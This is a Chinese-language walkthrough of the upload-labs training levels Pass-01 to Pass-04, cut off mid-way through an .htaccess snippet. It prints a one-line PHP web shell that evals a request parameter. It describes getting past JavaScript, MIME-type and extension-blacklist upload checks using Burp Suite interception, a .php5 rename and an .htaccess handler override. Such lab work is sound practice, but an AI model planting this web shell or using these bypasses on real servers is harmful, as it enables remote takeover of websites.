【网络安全】-文件上传漏洞实战-upload-labs（0~16）

准备：

一句话木马：<? php @eval($_REQUEST[cmd]); ?)>

格式：写入txt文本重命名后缀问.php /.php 格式，看具体要求上传。

Pass-01:

显示页面源代码，发现是js对不合法文件进行检查,上传修改为.jpg的php文件直接修改后缀名为.php，使用burpsuite工具抓包，再将jpg改为php,然后点击Forward即可完成上传

Pass-02:

上传一个1.php文件，用burp抓包。抓包后修改可上传文件类型，成功上传文件.

Pass-03:

显示页面源代码，黑名单验证，禁止上传.asp,.aspx,.php.jsp后缀的文件，我们可以php上传一个名为1.php5的文件，发现直接上传成功。

Pass-04:

显示页面源代码，黑名单验证增多，先上传一个.png文件，然后上传.htaccess后缀文件（内容：<IfModule mime_module>
AddHandler php5-script .gif          
SetHandle